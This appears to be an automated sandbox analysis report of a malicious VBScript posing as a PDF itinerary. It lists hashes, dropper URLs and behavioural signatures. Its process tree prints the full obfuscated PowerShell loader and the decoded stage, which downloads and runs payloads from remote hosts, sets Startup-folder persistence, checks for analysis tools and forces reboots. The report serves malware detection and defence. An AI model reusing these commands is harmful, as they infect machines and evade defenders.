Overview

overview

10

Static

static

1

itinerary ...df.vbs

windows7-x64

10

itinerary ...df.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    137s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    11-12-2024 16:40

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Report Analysis Logs

General

  • Target

    itinerary details.pdf.vbs

  • Size

    97KB

  • MD5

    a64af1eb173a81ce83d8688582925a20

  • SHA1

    0c4fbcfe1313d577199dacd5593824344e61ab1a

  • SHA256

    c32c454ae2dba633e5f9e7222bb06a49c2841886689b7b4961013ec3dc9e722e

  • SHA512

    82f7195508c8cb1abd524f94783bf352d46918090ab8c51a50a73d83e176573f8175769a4fe90fbac2c0bb83d516f8058bca89e9a8acda810f66adc92de2da16

  • SSDEEP

    768:MjjjjjjjDWuF78+OUCp+aejjjjjjjjjjjjjjjjj3:tuFvYQX

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt
exe.dropper

https://drive.google.com/uc?export=download&id=
exe.dropper

https://desckvbrat.com.br/Upcrypter/01/DLL01.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\itinerary details.pdf.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $lhnwc = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAbQ' + [char]66 + 'zAEEAZw' + [char]66 + 'lAFIARAAxAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAHIALw' + [char]66 + '4AFIAQQA1AFoALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcA' + [char]66 + '6AHQAZA' + [char]66 + 'wACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'wAHoAdA' + [char]66 + 'kAHAAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAeg' + [char]66 + 'tAHkAcg' + [char]66 + 'jACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGcAZA' + [char]66 + '6AHAAcQAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'nAGQAeg' + [char]66 + 'wAHEAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'nAGQAeg' + [char]66 + 'wAHEAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAHoAbQ' + [char]66 + '5AHIAYwAkACgAIAA9ACAAeg' + [char]66 + 'tAHkAcg' + [char]66 + 'jACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAeg' + [char]66 + 'tAHkAcg' + [char]66 + 'jACQAKAAgAD0AIA' + [char]66 + '6AG0AeQ' + [char]66 + 'yAGMAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAHoAbQ' + [char]66 + '5AHIAYwAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$lhnwc = $lhnwc.replace('уЦϚ' , 'B') ;;$jlkxl = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $lhnwc ) ); $jlkxl = $jlkxl[-1..-$jlkxl.Length] -join '';$jlkxl = $jlkxl.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\itinerary details.pdf.vbs');powershell $jlkxl
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2420
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$crymz = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$crymz = ($crymz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$crymz = ($crymz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$qpzdg = (New-Object Net.WebClient);$qpzdg.Encoding = [System.Text.Encoding]::UTF8;$qpzdg.DownloadFile($crymz, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\itinerary details.pdf.vbs' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$pdtzp = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $pdtzp ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\AppData\Local\Temp\itinerary details.pdf.vbs'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/Z5ARx/r/ee.etsap//:sptth'' , $sNwoM , ''DD1DRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1856
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe JCCGX /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2932
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" JCCGX /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:3064
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2708

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    72b829d10bc05d127df8bb7ccfe14172

    SHA1

    a280a90b7558f953b105f9a6d81711e17b0535eb

    SHA256

    dba21feb1d79f707cd6da58ee2365da5f83618566d4d822f7ff01adf225bca71

    SHA512

    f3c96c0ae6a324899b5a5f2e827b6d6e63d692efb76fa3befbe547d213c29f533ef4576ab32e79f721a36241de01ca3f96f5d4126675cbd8207a1cea6b3fcdb7

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  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    a16ffef49eee83aca9f6158037e32284

    SHA1

    34af6f8e13a6b3a0536f0483cd1c87861b70b103

    SHA256

    13e506a7d45636a7faa04fa95880697d75bdd28763b131d43adf0d7727976013

    SHA512

    397870ef176505645c923e1845545c0c9239a88d0e0b7b49f413e9ac6296298c909d269a1a305a8490094f33d58e5b2db1034f09934dcf12612786e55d1a098e

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  • memory/2420-4-0x000007FEF5E6E000-0x000007FEF5E6F000-memory.dmp

    Filesize

    4KB

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  • memory/2420-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2420-6-0x0000000001E00000-0x0000000001E08000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2420-12-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB

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  • memory/2420-13-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2420-14-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2420-15-0x000007FEF5E6E000-0x000007FEF5E6F000-memory.dmp

    Filesize

    4KB

    Download